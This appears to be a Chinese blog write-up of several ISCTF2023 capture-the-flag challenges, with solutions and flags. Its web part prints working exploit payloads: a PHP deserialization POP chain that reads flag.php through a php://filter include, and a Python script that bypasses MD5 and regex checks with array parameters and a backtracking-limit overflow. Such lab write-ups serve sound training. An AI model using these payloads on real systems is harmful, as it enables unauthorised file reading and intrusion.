ISCTF2023部分题解

目录

WEB:

圣杯战争!!!

绕进你的心里

MISC

签到题

你说爱我?尊嘟假嘟

WEB:

圣杯战争!!!

解题思路:打开题目链接,代码如下:
<?php
highlight_file(__FILE__);
error_reporting(0);

class artifact {
    public $excalibur;
    public $arrow;

    public function __toString() {
        echo "为Saber选择了对的武器!<br>";
        return $this->excalibur->arrow;
    }
}

class prepare {
    public $release;

    public function __get($key) {
        $function = $this->release;
        echo "蓄力!咖喱棒!!<br>";
        return $function();
    }
}

class saber {
    public $weapon;

    public function __invoke() {
        echo "胜利!<br>";
        include($this->weapon);
    }
}

class summon {
    public $Saber;
    public $Rider;

    public function __wakeup() {
        echo "开始召唤从者!<br>";
        echo $this->Saber;
    }
}

if (isset($_GET['payload'])) {
    unserialize($_GET['payload']);
}
?>
从代码中可以看出这题再考 PHP 反序列的 POP 链的构造,并且它的这四个魔术方法的触发顺序为:
1. __wakeup() 对对象反序列化自动触发
2. __toString() 对象被当作字符串自动触发
3. __get($key) 访问 prepare 不存在的属性被调用
4. __invoke() saber 被实列被作为函数调用
开始构造 POP 链:
<?php
highlight_file(__FILE__);
error_reporting(0);

class artifact {
    public $excalibur;
    public $arrow;

    public function __construct() {
        $this->excalibur = new prepare();
    }
}

class prepare {
    public $release;
}

class saber {
    public $weapon = 'php://filter/convert.base64-encode/resource=flag.php'; //指定过滤方式,访问flag.php
}

class summon {
    public $Saber;
    public $Rider;
}

$a = new summon();
$a->Saber = new artifact();
$a->Saber->excalibur->release = new saber();
echo urldecode(serialize($a));
?>
运行一下即可得到反序列化 POP 链:
O:6:"summon":2:{s:5:"Saber";O:8:"artifact":2:{s:10:"excalibuer";O:7:"prepare":1:
{s:7:"release";O:5:"saber":1:{s:6:"weapon";s:52:"php://filter/convert.base64-
encode/resource=flag.php";}}s:5:"arrow";N;}s:5:"Rider";N;}
HackBar 传入 get 参数,即可在页面中得到:
对得到的字符串 base64 解密一下得到 flag
ISCTF{9b2fef42-d7ea-4ce0-8d17-388a15e46949}

绕进你的心里

解题思路:打开题目链接,代码如下:
<?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';

$str   = (String)$_POST['pan_gu'];
$num   = $_GET['zhurong'];
$lida1 = $_GET['hongmeng'];
$lida2 = $_GET['shennong'];

if ($lida1 !== $lida2 && md5($lida1) === md5($lida2)) {
    echo "md5绕过了!";
    
    if (preg_match("/[0-9]/", $num)) {
        die('你干嘛?哎哟!');
    } elseif (intval($num)) {
        if (preg_match('/.+?ISCTF/is', $str)) {
            die("再想想!");
        }

        if (stripos($str, '2023ISCTF') === false) {
            die("就差一点点啦!");
        }

        echo $flag;
    }
}
?>
MD5强比较“===”绕过,此时只能用数组绕过的方法 ,而preg_match() 函数无法处理数组导致被绕过
所以上传 :
?hongmeng[]=1&shennong[]=2&zhurong[]=1
(preg_match('/.+?ISCTF/is', $str))利用正则回溯最大次数上限进行绕过,但后面要拼接上2023ISCTF
才可绕过stripos函数
import requests

url = "http://43.249.195.138:22437/?hongmeng[]=1&shennong[]=2&zhurong[]=1"
post = {
    'pan_gu': "a" * 100000 + "2023ISCTF"
}

r = requests.post(url, data=post)
print(r.text)

运行脚本得到flag:
ISCTF{be2854d5-7665-4a55-a0f4-9f45d361cc51}

MISC

签到题

解题方法:关注公众号,回复关键词:小蓝鲨,我想打ctf,就可以得到flag

你说爱我?尊嘟假嘟

题目描述:把题目附件下载下来,我们发现没有后缀名,把.zip的后缀加上后,解压得到一个word文档,打 开里面都是这样的文字,仔细观察发现共有三种类型,根据经验感觉是Ook的编码方式
你说爱我 你说爱我 你说爱我 你说爱我 你说爱我 你说爱我 你说爱我 你说爱我 你说爱我 你说爱我 你说 爱我 你说爱我 你说爱我 你说爱我 你说爱我 你说爱我 你说爱我 你说爱我 你说爱我 你说爱我 尊嘟 假嘟 尊嘟 尊嘟 你说爱我 假嘟 你说爱我 你说爱 我 你说爱我
......
多次修改最终是把 你说爱我 替换成 Ook. 尊嘟 替换成 Ook! 假嘟 替换成 OoK? ( 意: 符号要用英文)
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook.
Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook. Ook?
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook.
..............
进行 Ook 解码,得到下面这串字符:
ild3l4pXejwPcCwJsPAOq7sJczdRdTsJcCEUsP1Z
然后把它放进 CyberChef-Magic 里面进行base64解码之后不对 , 发现是 base64 换表:
得到flag:
ISCTF{9832h-s92hw-23u7w-2j8s0}
后续博主会补全,还请各位谅解!谢谢!
  • 10
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值